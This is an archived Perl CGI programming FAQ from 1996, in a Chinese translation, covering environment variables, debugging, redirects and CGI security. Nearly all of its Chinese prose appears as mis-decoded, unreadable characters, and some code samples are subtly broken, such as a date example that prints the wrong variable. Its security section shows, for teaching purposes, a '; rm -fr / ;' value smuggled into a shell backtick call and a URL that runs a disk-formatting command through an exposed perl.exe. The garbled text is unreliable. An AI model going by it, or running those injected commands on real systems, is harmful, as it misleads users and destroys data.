    ²³æªº¤èªk¬O¡A½Ð±zªº¨t²ÎºÞ²zªÌ¡]¦pªG¤£¬O±z¦Û¤vªº¸Ü¡^¡A±N±zªº CGI scripts ¤Î±K½XÀÉ¡]¦pªG±z¿ï¾Ü±N±K½X¦s©ñ¦b¥t¤@­ÓÀɮפ¤ªº¸Ü¡^ªº©Ò¦³ªÌ³]¦¨ Web server ¶]ªº¨Ï¥ÎªÌ¡]³Ì±`¨£ªº¬O¨Ï¥ÎªÌ nobody ¡F¨Ï¥Î¸s nogroup ©Î nobody¡^¡A µM«á±N CGI scripts ªº¨Ï¥ÎÅv­­³]©w¦¨ 550 (-r-xr-x---)¡A±K½XÀɪºÅv­­³]¦¨ 440 (-r--r-----)¡C¦p¦¹¤@¨Ó¡A¤@¤è­±±zªºµ{¦¡±o¥H°õ¦æ¡A¦Ó¥B¨ä¥L¦P¾÷¾¹¤Wªº ¨Ï¥ÎªÌ¤]¨S¦³¿ìªk°½¬Ý¨ì±zªºµ{¦¡©M±K½X¡C

    ¤ñ¸û½ÆÂøªº¸Ñ¨M¤èªk¬O¥ý¬D­ÓÃø¯}ªº±K½X±N¾ã­Óµ{¦¡¥[±K°_¨Ó¡AµM«á¦A¨Ï¥Î Filter::decrypt ³o­Ó¼Ò²Õ¦bÁ{°õ¦æ«e±N¨ä¸Ñ¶}¡A¦b¦¹¤£¦h»¡¡C¦³¿³½ìªºÅªªÌ½Ð¬Ý Filter::decrypt ªº¨Ï¥Î»¡©ú¡F¦¹¥~·sªº perl FAQ ²Ä¤T³¡¤À¤¤³o¤@¬q¡G``How can I hide the source for my Perl program?'' ¡A¤j®a¤]¥i°Ñ¦Ò¡C


    Q4.9: §Ú»Ý­n±N¾ã­Ó Perl library ³£½Æ»s¨ì§Úªº htdocs ¥Ø¿ý©³¤U¶Ü¡H

    ¤£»Ý­n¡C±zªº CGI scripts ¥i¥H¨Ï¥Î server ©M ¤å¥ó®Ú¥Ø¿ý¤§¥~ªº¥ô¦óÀɮסA°£ «D server ¬O¦b¤@­Ó chroot ªºÀô¹Ò¤U°õ¦æ¡C


    Q4.10: §Ú¬°¤°»ò¤£¸Ó¥s¨Ï¥ÎªÌ¿é¤J¥L­Ìªº±K½X©Î¨­¥÷ÃÒ¦r¸¹©Î«H¥Î¥d¸¹½X¡H¦³¤@­Ó TYPE="password" ¤£¬O´N¬O®³¨Ó°µ³o­Óªº¶Ü¡H

    No! form ªº¤¶­±¤¤¦³¤@­Ó ``password'' ªºÄæ¦ì¡A¦ý¬O±z¤£À³¸Ó®³¥¦¨Ó³B ²z¥ô¦ó¾÷±K©Êªº¸ê®Æ¡C¤£¸Ó³o»ò°µªº­ì¦]¬O¦]¬°©Ò¦³ªº form ¸ê®Æ(¥]¬A ``password'' Äæ) ³£¬O¥H¯Â¤å¦r§Î¦¡¡A¦Ó«D¥H¥[±K§Î¦¡¥ÑÂsÄý¾¹°e¦Ü server¡C

    ¦pªG±z·Q­n¦w¥þ¦a¶Ç°e¸ê®Æ¡A¨º»ò±z»Ý­n¨Ï¥Î¨ã¦³¦w¥þ¥\¯àªº server¡A¨Ò¦p Netscape ªº Commerce Server*¡C

    ¡iĶªÌ¡jApache SSL ¡A¨Ò¦p Stronghold ª©¡A¦P¼Ë¨ã¦³³o­Ó¥\¯à¡C


    Q4.11: §Ú­n¦p¦ó²£¥Í±Mªù´À Netscape ³]­pªººô­¶¡A¥H§O©ó¥@¤W¨ä¥LªºÂsÄý¾¹¡H

    ±z¥i¥H³z¹L HTTP_USER_AGENT ³o­ÓÀô¹ÒÅܼƦb±zªº CGI script ¤¤±oª¾¬O§_ Netscape ¥¿¦b°õ¦æ±zªº script¡C¥H¤U¬°¤@¨Ò¡G

    $browser = $ENV{'HTTP_USER_AGENT'};
    
    if ($browser =~ /Mozilla/) {
        #
        # Netscape
        #
    } else {
        #
        # Non Netscape
        #
    }
    


    Q4.12: ¬°¤°»ò§Úªº system() ©Ò²£¥Íªº¸ê®Æ¿é¥X¶¶§Ç¤£¹ï¡H

    ³o¬O¥Ñ©ó¼Ð·Ç¿é¥Xªº²£¥Í¤è¦¡³q±`¬O¥ý²Ö¿n¬Û·íªº¸ê®Æ¦A¿é¥X(buffered)¡C­n Åý¿é¥Xªº¸ê®Æ¥H¥¿½Tªº¶¶§ÇÅã¥Ü¡A±z¥²¶·ÂÇ¥Ñ $| ³o­ÓÅܼƪº³]©w±N buffering ªº ¯S©ÊÃö±¼¡C


    Q4.13: §ÚÅ¥»¡ Netscape ·|¤ä´© Java*¡C³o¬O¤£¬O»¡§Ú²{¦b±o±ó Perl¡A§ï Java ¤F¡H¬O¤£¬O¸Ó³o»ò°µ¡H

    ¡iĶªÌ¡j­ì FAQ ¤w¦³¬Û·í¤@¬q®É¶¡¥¼§ó·s¡C³o¥y¸Ü²{¦bÀ³¸Ó§ï§@¡uNetscape ©M IE ¨â¤jÂsÄý¾¹³£¤w¤ä´© Java¡v¡C

    ¤£¡B¤£¡B¤£¡CJava ©M CGI ªº·§©À§¹¥þ¤£¦P¡CCGI ¬O¦b server ºÝ°õ¦æ¡A¦Ó Java«h¬O¦b client ºÝ°õ¦æ¡C¦³¨ÇªF¦è¡]¦p°Êµe¡^¥iÂǥѨϥΠJava ¦Ó±o¨ì¸û¦nªº®Ä ªG¡C¦ý±z¥iÄ~Äò¨Ï¥Î perl ¨Óµo®i server ºÝªºÀ³¥Îµ{¦¡¡C

    ¦pªG±z»Ý­n¦³Ãö Java ¶i¤@¨Bªº¸ê®Æ¡A©³¤U¦C¤F´X­Ó¤å¥ó±z¥i¥H¥h¬Ý¬Ý*¡G

    ¡iĶªÌ¡j«á­±³o¨â½g¤å³¹¹ï Java ¤Î³o­Ó¼ö¼é§@¤F«ÜÄY¼Fªº§å§P¡C¥» FAQ §@ªÌ Tom C. ªº Java uber Alles ¤¤ªº½×ÂI¥D­nµÛ­«©ó§Þ³N¼h­±¡CTom ¹ï Java ªººA«×©Î³\¥Nªí¤F¤£¤Ö Perl °}Àç¤H¥Kªº¤ßÁn¡C


    Q4.14: §Ú­n¦p¦óŪ¨úÀô¹ÒÅܼơH¬°¤°»ò¥¦­Ì¦³®É­Ô·|¤£¤@¼Ë¡H

    ±z¥i¥H³z¹L %ENV ³o­ÓÃö³s°}¦C¨ÓŪ¨úÀô¹ÒÅܼơC¥H¤U³o­Ó²³æªº script ·|§â©Ò ¦³ªºÀô¹ÒÅܼƦL¥X¨Ó¡]±Æ¦n¶¶§Ç¡^¡G

    #!/usr/local/bin/perl -w
    
    print "Content-type: text/plain", "\n\n";
    	
    foreach $key (sort keys %ENV) {
        print $key, " = ", $ENV{$key}, "\n";
    }
    
    exit 0;
    

    «Ü¤£©¯ªº¡A¦³¨ÇÀô¹ÒÅܼƷ|³Q¬Y¨ÇÂsÄý¾¹©¿²¤±¼¡CÄ´¦p¡A¦³¨ÇÂsÄý¾¹´N¤£³]©w HTTP_REFERER¡C


    Q4.15: ¬°¤°»ò§Ú¿é¥Xªº¸ê®Æ³QÅͶäF¡]¦p ``b < a'' ·|³Q¯}Ãa±¼¡^¡H

    ¦pªG±z°eªº MIME Ãþ«¬¬O HTML ªº¸Ü¡A±z¥²¶· ¡u¸õ²æ¡v (escape) ¬Y¨Ç²Å¸¹¡A¦p ``<''¡B``&anp;''¡A¤Î ``>''¡A§_«hÂsÄý¾¹·|¥H¬°¥¦¬O HTML ¡i¼ÐÅÒ¡j¡C

    ±z¥²¶·¨Ï¥Î¥H¤U®æ¦¡¨Ó¸õ²æ¯S®í¦r¤¸¡G

    &#ASCII ¥N½X;

    ±z¥i¥H¦b«ü¥O¦C°õ¦æ³o­Ó²³æªº script¡A«K¥i±o¨ì«D¦r¥À¼Æ¦r©Ê¦r¤¸ (non alpha-numeric characters) ©Ò¹ïÀ³ªº ASCII ½X¡G

    #!/usr/local/bin/perl -w
    
    print '½Ð¿é¤J¦r¦ê¡G ';
    
    chop($string = <STDIN>);
    $string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge;
    
    print '¸õ²æ¹Lªº¦r¦ê¬O¡G ', "$string\n";
    
    exit 0;
    

    Q4.16: ¬°¤°»ò§ÚªºPerl CGI µ{¦¡¥i¥H¥Ñ«ü¥O¦C¡A«oµLªk±qÂsÄý¾¹¥h°õ¦æ¡H

    ³Ì¥i¯àªº­ì¦]¬OÅv­­ªº°ÝÃD¡C§O§Ñ¤F¡A±zªº server ¥i¯à¬O¥H ``nobody''¡B ``www''¡A©Î¨ä¥LÅv­­«Ü§Cªº±b¤á¨­¥÷¨Ó°õ¦æªº¡C¦]¦¹¡A°£«D¥¦¦³¨¬°÷ªºÅv­­¡A§_ «h¬OµLªk°õ¦æ±zªº script ªº¡C


    Q4.17: ¬°¤°»ò§Úªº Perl CGI µ{¦¡¯à¶]¡A¦ý¬O¤£·|§â¸ê®Æ¼g¨ìÀɮפ¤¡H

    ³o¤S¬OÅv­­¦b§@©Ç¡Iserver °£«D¦³¨¬°÷ªºÅv­­§_«h¬OµLªk±N¸ê®Æ¼g¶i¬Y¥Ø¿ý¤Uªº ¬YÀɮ׸̥hªº¡C

    ±zÀ³¸Ó¾i¦¨²ßºDÀˬd open «ü¥O»¼¦^ªº¿ù»~ª¬ºA (error status)¡G

    print "Content-type: text/plain\n\n";
    
    .
    .
    .
    
    open(FILE, ">/some/dir/some.file") ||
        print 'µLªk¼g¶iÀɮסG ', "$!\n";
    
    .
    .
    .
    

    Q4.18: ­n¦p¦ó°µ¤@­Ó·|ºûôª¬ºA¡A©Î¤¹³\¡i¦P¤@¨Ï¥ÎªÌ¡j¦h¦¸³s½uªº form¡H

    ±z¥i¥H¥Î CGI::MiniSvr ³o­Ó module ¨Óºû«ù¡i°O¦í¡j´X¦¸¤£¦Pªº³s½u¤§¶¡ªºª¬ºA¸ê ®Æ¡C

    ©ÎªÌ¡A±z¥i¥H»s°µ¤@¨t¦Cªº°ÊºA¤å¥ó¡A¦b©¼¦¹¤§¶¡¬Û¤¬¶Ç»¼¤@­Ó´Á¶¡¥N½X(session ID)¡A¦¹¥N½X¥i¥H¥H¸ß°Ý (query)¡BÃB¥~¸ô®|¡A©ÎÁôÂæ¡Äæ¦ìµ¥§Î¦¡¦s¦b*¡C

    ¡iĶªÌ¡jCGI.pm ·|´À±z§â³o³¡¥÷¡]ºû«ùª¬ºA)°µ¦n (¥Î¤W­zªº­ì²z¡^¡A¬G¨Ï¥Î CGI.pm ¥i¦Û°Ê¨É¨ü³o¶µ¥\¯à¡A¤£»Ý­n¦Û¤v¥h°µ¡C³o¤S¦h¤F¤@­Ó¸Ó¨Ï¥Î CGI.pm ªº²z¥Ñ¡C

    Q4.19: ¦pªG¤£±qÂsÄý¾¹¥h°õ¦æ§Úªº CGI µ{¦¡¡A­n¦p¦ó´À¥¦°£¿ù¡H

    CGI µ{¦¡¤£®e©ö°£¿ù¡C±z¥i¥HÂǵۤâ°Ê³]©wÀô¹ÒÅܼƨӼÒÀÀ server¡G

    setenv HTTP_USER_AGENT "Mozilla/2.0b6"       (csh)
    
    ©Î
    export HTTP_USER_AGENT = "Mozilla/2.0b6"     (ksh, bash)
    
    ­n¼ÒÀÀ POST ½Ð¨D¡A±z¥i¥H§â¸ê®Æ¥ý©ñ¶i¤@­ÓÀɮ׸̡AµM«á§â¥¦ pipe ¨ì±zªºµ{¦¡ ¥h¡G
    cat data.file | some_program.pl

    ©ÎªÌ±z¥i¥H¥Î CGI.pm ¨ÓÀ°±z°£¿ù¡C°²³]±z¦³¤@­Ó¹³¤U­±³o¼Ëªº script¡A ¥¦·|§â©Ò¦³±z¶Çµ¹¥¦ªº¯Á¤Þ¡þ³]©w­È¹ïÀ³¸ê®Æ (key/value pairs) ³£¦C¦L¥X¨Ó¡C

    #!/usr/local/bin/perl -w
    
    use CGI;
    
    $cgi = new CGI;
    
    print $cgi->header;
    print $cgi->start_html("Simple CGI.pm Program");
    print "<H1>Simple CGI.pm Program</H1>\n";
    print "<HR >";
    print '¥H¤U©Ò¦Cªº¬O±z¶Ç°eªº³]©w­È¡G';
    print $cgi->dump;
    
    exit 0;
    
    ³o­Ó script ¤£·|¦b¥G±z¬O³z¹L GET¡BPOST¡A©Î ISINDEX ½Ð¨D¡A©ÎªÌ¬O¥Ñ«ü¥O¦C¡B ¼Ð·Ç¿é¤J¡A©Î¤å¦rÀɱN¸ê®Æ¶Ç°eµ¹¥¦¡C¬°¤F¤è«K°£¿ù¡A§Ú­Ì´Nª½±µ±q«ü¥O¦C¶Ç¤@¨Ç ¸ê®Æµ¹¥¦§a¡G
    % simple.cgi first=shishir last=gundavaram document='CGI\ FAQ'
    
    ©Î
    % simple.cgi "first=shishir&last=gundavaram&document='CGI\ FAQ'"
    
    ¦b²Ä¤G­Ó¨Ò¤l¤¤¡A¾ã­Ó¦r¦ê©P³ò¥²¶·¥[¤Þ¸¹(")¡A§_«h shell ¬Ý¨ì ``&'' ³o­Ó²Å ¸¹·|»~¸Ñ¡C¦n¡A±µ¤U¨Ó¬O±q¼Ð·Ç¿é¤J¨Ó°£¿ùªº¤èªk¡G
    % simple.cgi
    (waiting for standard input)
    first=shishir
    last=gundavaram
    document=CGI\ FAQ
    ^D
    
    ·íµM¡A±z¤]¥i¥H¥ý¥Î¤@­ÓÀɮרÓÀx¦s¸ê®Æ¡AµM«á¦A°µ¿é¤JÂà¦V¡A¹³³o¼Ë¡G
    % simple.cgi < form.data

    ±z¤]¥i¥H¥Î CGI Lint ¡]§Y±N¥Xª©¡^¡C¥¦¯à¹F¨ì¬Û¦Pªº¥\®Ä¡C¥t¥~¡A¥¦¤]¯àÀ°¦£Àˬd ¦³µL¦w¥þ°ÝÃD¡A¤£·í¨Ï¥Î open()¡A¥H¤Î¤£¥¿½Tªº HTTP ¼ÐÀYµ¥¡C


    Q4.20: ¦pªG¤£¾a<FORM>¼ÐÅÒ¡A­n¦p¦ó¥s¥X Perl CGI µ{¦¡¡H

    ±z¥i¥Hª½±µ¥h¥´¶}¸Ó CGI µ{¦¡ªº URL¡G

    http://some.machine/cgi-bin/your_program.pl

    ±z¤]¥i¥H¦b¤å¥ó¤¤¨Ï¥Î³sµ²ªº¤è¦¡¡A¨Ò¦p¡G

    <A HREF="http://some.machine/cgi-bin/your_program.pl">
    ­n¸Õ¸Õ§ÚªºCGIµ{¦¡½Ð¦b³o¸ÌÂI¤@¤U</A>


    Q4.21: ­n¦p¦óÁ×§K®Ç¤H¤£¥ý¶ñÄæ¦ì´N°õ¦æ§Úªº form¡H¥L­Ì¬°¤°»ò¤@ª½¤£Â_³o»ò°µ¡H

    ³o¨Ç¤HÄæ¦ì§¹¥þªÅ¥Õ´N¥h°õ¦æ form ¬O¦]¬°¥L­Ì§â³o­Ó form ªº URL Àx¦s°_¨Ó ¡iÀx¦s¨ì®ÑÅҸ̭±¡jªºÃö«Y¡C·í¥L­Ì¤U¦¸¥s¥X³o­Ó form ªº®É­Ô¡A³o­Ó½Ð¨D´N·|Åܦ¨ ¬O¤@­ÓªÅªº GET ¡]¦Ó«D POST ©Î¶ñ¦³¸ê®Æªº GET¡^¡C

    ±z¥i¥H¥ýÀˬd©Ò¦³Äæ¦ì¤¤ªº¸ê®Æ¡A¦pªG¨ä¤¤¦³Äæ¦ì¯d¥Õªº¸Ü¡A±z¥i¥H°e¦^¤@­Ó``No Content'' ªºª¬ºAÄÝ©Ê*¡C¥H¤U¬O¤@¨Ò(°²³]Ãö³s°}¦C %form ¤¤§t¦³±z form ªº¸ê ®Æ)¡G

    ¡iĶªÌ¡jª¬ºA½X 204 ªºÄݩʤw¥Ñ HTTP 0.9 ªº ``No Response'' Åܬ° HTTP 1.0 ©M HTTP 1.1 ¤¤ªº ``No Content'' ¤F¡C
    $error = 0;
    
    foreach $value (values %form) {
         $value =~ s/\s//g;
         $error = 1 unless  $value;
    }
    
    if ($error) {
        print "Content-type: text/plain\n";
        print "Status: 204 No Content\n\n";
        print '°£«D±zªºÂsÄý¾¹¤£¤ä´©ª¬ºA½X 204 ¡A§_«h±z¤£¸Ó¬Ý¨ì³o³¡¥÷' , "\n";
    } else {
        #
        # Process Data Here
        #
    }
    

    Q4.22: ¨º¨Çserver ¦^À³½X (server response codes)¬O·F¤°»ò¥Îªº¡H¦³¤°»ò·N¸q¡H

    CGI µ{¦¡¥i¥H¶Ç°e server µM«á server ·|§â¥¦Âà°eµ¹ÂsÄý¾¹¡C¨Ò¦p¡G °²³]±z·Q°e ``No Content'' ¡]·N«ä¬O§i¶DÂsÄý¾¹¤£­n¦A­«·s¤U¸ü¸Óºô­¶¡^¡A¨º»ò±z±o°e¤@­Ó 204 ªº¦^À³½X¡]¨£¤W¨Ò¡^¡C


    Q4.23: ¬°¤°»ò print "Location: http://host/page.html\n" ¤£ work¡H¤S¬°¤°»ò¥¦¥u work ¤@¦¸¡A¦ýÀH«áªºÂà¦V´N³£§Ë¿ù¤F©O¡H

    CGI µ{¦¡¥u¯à°e¤@­Ó Location ¼ÐÀY¡CÁÙ¦³¡A¦pªG±z­n server °µÂà¦Vªº °Ê§@±z´N¤£¸Ó°e MIME Ãþ§O¡CÄ´¦p¡A¥H¤Uªº¨Ò¤l¬O¿ù»~ªº¥Ü½d¡A¾¨ºÞ¦b¦³¨Ç servers ¤W¦æªº³q¡G

    #!/usr/local/bin/perl -w
    
    .
    .
    .
    print "Content-type: text/plain\n"
    print "Location: http://some.machine/some.doc\n\n"";
    

    Q4.24: ­n¦p¦óÅý server ¦b¨C­Ó HTML ºô­¶ªº©³³¡³£¦Û°Ê¥[¤W¤@­Ó¡G¡u³Ìªñ§ó·s¤é´Á¡G ...¡vªº§i¥Ü¡H©ÎªÌ¡A¬O¤£¬O¥u¦³ SSI ªººô­¶¤~¯à³o»ò°µ¡HCGI µ{¦¡ªº¤é´Á­n¦p¦ó¨ú ±o¡H

    ¦pªG±z¬O³z¹L CGI ¥H°ÊºA¤è¦¡¨Ó²£¥Í±zªº¤å¥ó¡A¨º»ò­n´¡¤J¤@­Ó®É¶¡¼Ð°O«D±`² ³æ¡C¥H¤U¬O¤@¨Ò¡]¶È¾A¥Î©ó Perl 5¡^¡G

    $last_updated = localtime;
    print '³Ìªñ§ó·s¤é´Á¡G ', "$last_updated\n";
    
    ©ÎªÌ¬O¡G
    require "ctime.pl";
    
    $last_updated = &ctime(time);
    print '³Ìªñ§ó·s¤é´Á¡G ', "$last_updated\n";
    
    ¬Æ¦Ü¹³³o¼Ë¡G
    chop($date = `/usr/local/bin/date`);
    print '³Ìªñ§ó·s¤é´Á¡G ', "$last_updated\n";
    
    ±z¥i¥H¥Î SSI ¨Ó¹F¨ì³o­Ó®ÄªG¡A¹³³o¼Ë¡G
    <--#echo var="LAST_MODIFIED"-->


    Q4.25: ¤°»ò¼Ëªº³õ¦X¤U¥H Perl ¼g CGI µ{¦¡·|Åã±o¤Ó¤pÃD¤j§@¡A¦]¬°¥Î shell ´N¥i¥H°µ¨ì¡H¦Ó¤°»ò¼Ëªº³õ¦X¹ï Perl ¨Ó»¡¤S¹L©ó§xÃø¡H¥Î C++ °µ³oÃþªº¨Æ¤£¬O¦n±o¦h¶Ü¡H¨º¥Î C ©O¡H

    ¨C¤@­Ó»y¨¥³£¦³¨äªø³B©Mµu³B¡C¬Û«H³o¥y¸Ü±zÅ¥¹L«Ü¦h¦¸¤F¡C©Ò¥H¤@¤Á¥þ¬Ý±z­n°µ ªº¬O¤°»ò¦Ó©w¡C¦pªG±z¹w´Á¥¿·Ç³Æ¼gªº CGI µ{¦¡¨C­ÓÄÁÀY·|¦³´X¤d´X¸U¤H¦¸³s¥h ¨Ï¥Î¡A¨º»ò±zÀ³¸Ó¿ï¥Î C ©Î C++¨Ó¼g¡C¦pªG±z¨D§Öªº¸Ü¡]«üµo®i©Òªá¶Oªº®É¶¡¦Ó¨¥¡^¡A ¨º»ò Perl ¬O¥¿½Tªº¿ï¾Ü¡I

    ¤@¯ë»¡¨Ó¡A±zÀ³Á×§K¥Î shell ¨Ó°µ¥ô¦ó§Î¦¡ªº CGI µ{¦¡³]­p¡A¦]¬° shell ¦b¥ý ¤Ñ¤W®e©ö²£¥Í¦w¥þ°ÝÃD¡C


    5.0 ¡Ð ¦w¥þ


    Q5.1: ¥H Perl ¼g¦¨ªº CGI µ{¦¡¬O¤£¬O¤£¦p¥H shell ©Î C ¼gªº¨Ó±o¦w¥þ¡H

    ³o­Ó°ÝÃDªºµª®×¬O¡G CGI µ{¦¡¥ý¤Ñ¤W´N¤£¦w¥þ¡A¤£ºÞ¥¦¬O¥Î¨º­Ó»y¨¥¼g¦¨ªº*¡C

    ¡iĶªÌ¡jWWW ¤Î CGI ¾Þ§@¦w¥þ FAQ ¤¤°ÝÃD²Ä 31 ¹ï¦¹¦³²`¤Jªº±´°Q¡C


    Q5.2:§Ú¸Ó¯S§O¯d·N­þ¨Ç¦w¥þ¨Æ¶µ¡H

    µ´¹ï¤£­n¹ï shell ¼ÉÅS¥ô¦ó form ¸ê®Æ¡C©³¤U³o´X¶µ³q³q³£¬O¦w¥þº|¬}¡G

    ¸ÜÁö¦p¦¹¡A¦b¤W­±ªº²Ä¤GºØ¼gªk¤¤¡A¨t²Î¦w¥þ¥iÂǵۧïÅܰѼƶǰeªº¤è¦¡¦Ó±o¥H§ï µ½¡C¤]´N¬O±N°Ñ¼Æ¥Ñ¦r¦ê¤è¦¡¶Ç°e ¡]shell ·|¥ý¸ÑĶ¡^¡A§ï¬°§Ç¦C¤è¦¡¶Ç°e¡C

    system("/usr/ucb/finger", $form_user);

    ±z¦P®ÉÀ³¸Ó¾\Ū¡G


    Q5.3:¬°¤°»ò¤j®a³£»¡
    http://bigidiot.abuse-me.com/perl.exe?foo.pl
    ³o¼Ë«Ü¦MÀI¡H·|¦³¦hÁV¡H

    ·¥«×¦MÀI¡I ·Q·Q¬Ý¦pªG§Ú³o»ò°µ·|µo¥Í¤°»ò¨Æ¡G

    http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
    ²{¦b±z¦P·N¤F§a¡HÁ×§K³o­Ó´c¹Úµo¥Íªº¤èªk¡G

    ¥H¤U¬O¤@¨Ò¡C°²³]±zªº CGI script ¥s°µ ``sample.pl'' ¦Ó±zªº§å¦¸ÀÉ¥s ``simple.bat''¡G

    @echo off
    c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl
    
    ²{¦b¡A±z¥i¥H°µ¡G
    <A HREF="/cgi-bin/simple.bat">Click Here</A>


    Q5.4:­n¦p¦ó¦bµ{¦¡¤¤¦w¥þ¦a¨Ï¥Î°f¦VºJ¸¹ ¡]backticks¡A"`"¡A¦ì©óÁä½L¥ª¤W¨¤¡^¡H³o»ò°µ¡G
    @ans = `grep'$user_field' some.file`;
    ¬O¤£¬O¯uªº¤£¦w¥þ¡H

    ¬Oªº¡I ³o«D±`¦MÀI¡I¸Õ·Q¡A¦pªG $user_field §t¦³³o¼Ëªº¤º®e·|¦³¤°»ò«á ªG¡G

    ; rm -fr / ;
    

    ­n¹F¨ì¬Û¦Pªº®ÄªG¡A¤@­Ó¤ñ¸û¦w¥þªº°µªk¬O*¡G

    if (open GREP, "-|") {
        @ans = <GREP>;
    } else {
        exec("/usr/local/bin/grep", $user_field, "some.file")
            || die "Error exec'ing command", "\n";
    }
    
    close GREP;
    
    ¡iĶªÌ¡j ¦pªGŪªÌ¹ï¥H¤W open GREP, "-|"³¡¥÷ªº¥yªk¦³ºÃ°Ý¡A¥i¥H °Ñ¾\ perlipc manpages ¤¤ Safe Pipe Opens¤@¸`ªº»¡©ú¡C


    Q5.5: /$user_variable/ ³o­Ó¥yªk¬O¤£¬O Perl 5 ¤¤ªº¤@­Ó¦w¥þº|¬}¡H

    ¤£¡I³o¤£¬O­Ó¦w¥þº|¬}¡C¦ý¬O¦pªG±z¥Î eval «ü¥O¦b°õ¦æ´Á (runtime) ¥h µû¦ô³o­Ó±Ô­z¡A¨º»ò¡A¥¦·|Åܦ¨¤@­Ó¦w¥þ¦º¨¤¡C¨Ò¦p³oºØ°µªk¥i¯à«Ü¦MÀI¡G

    foreach $regexp (@all_regexps) {
        eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }";
    }
    

    This document, and all its parts, are Copyright (c) 1996, Shishir Gundavaram and Tom Christiansen. All rights reservered. Permisson to distribute this collection, in part or full, via electronic means (emailed, posted or archived) or printed copy are granted providing that no charges are involved, reasonable attempt is made to use the most current version, and all credits and copyright notices are retained. Requests for other distribution rights, including incorporation in commercial products, such as books, magazine articles, or CD-ROMs should be made to either of the authors.

    ¥»¤å¥óµÛ§@ÅvÄÝ©ó Shishir Gundavaram ¤Î Tom Christiansen ©Ò¦³¡ACopyright (C) 1996¡C¦b¤£¯A¤Î¦¬¶OÀç§Q¡B¾¨¥i¯à¦a¨Ï¥Î³Ì·sª©¡A¤Î©Ò¦³µÛ§@Åv§i¥Ü«O«ù§¹¾ã ªº±¡ªp¤U¡A§@ªÌ¤¹³\¥ô¦ó¤H³z¹L¹q¤l§Î¦¡¡]¹q¤l¶l¥ó¡B°Q½×¸s§G§i¡A©Î¦s©ñ¡^¡A©Î ¦Lªí¤è¦¡¹ï¥»¤å¥ó§@§¹¾ã©Î³¡¥÷µo¦æ¡C¦p±ý±N¥»¤å¥ó§@¨ä¥L¤è¦¡µo¦æ¡A¥]¬A±N¥»¤å ¥óªþ¥[©ó°Ó·~²£«~¡A½Ñ¦p®ÑÄy¡BÂø»x¤å³¹¡A©Î¥úºÐµ¥¤§¤¤¡A¥²¶·¨Æ¥ý¹ï¤G¦ì§@ªÌ¨ä ¤¤¤@¤H´£¥X½Ð¨D¡A¥H¼x±o³\¥i±ÂÅv¡C

    ¥»¤¤Ä¶ª©¤ÎĶªÌ¸É¥R³¡¥÷µÛ§@ÅvÄÝ¿½¦ÊÄ֤ΨⰦ¦Ñªê¤u§@«Ç©Ò¦³¡ACopyright (C) 1997¡C¥»¤¤Ä¶ª©¿í¦u¨Ã¨Ï¥Î»P¤W­z­ì¤åª©¬Û¦Pªº¨Ï¥Î±ø´Úµo¦æ¡C

    You are the -th visitors to this page.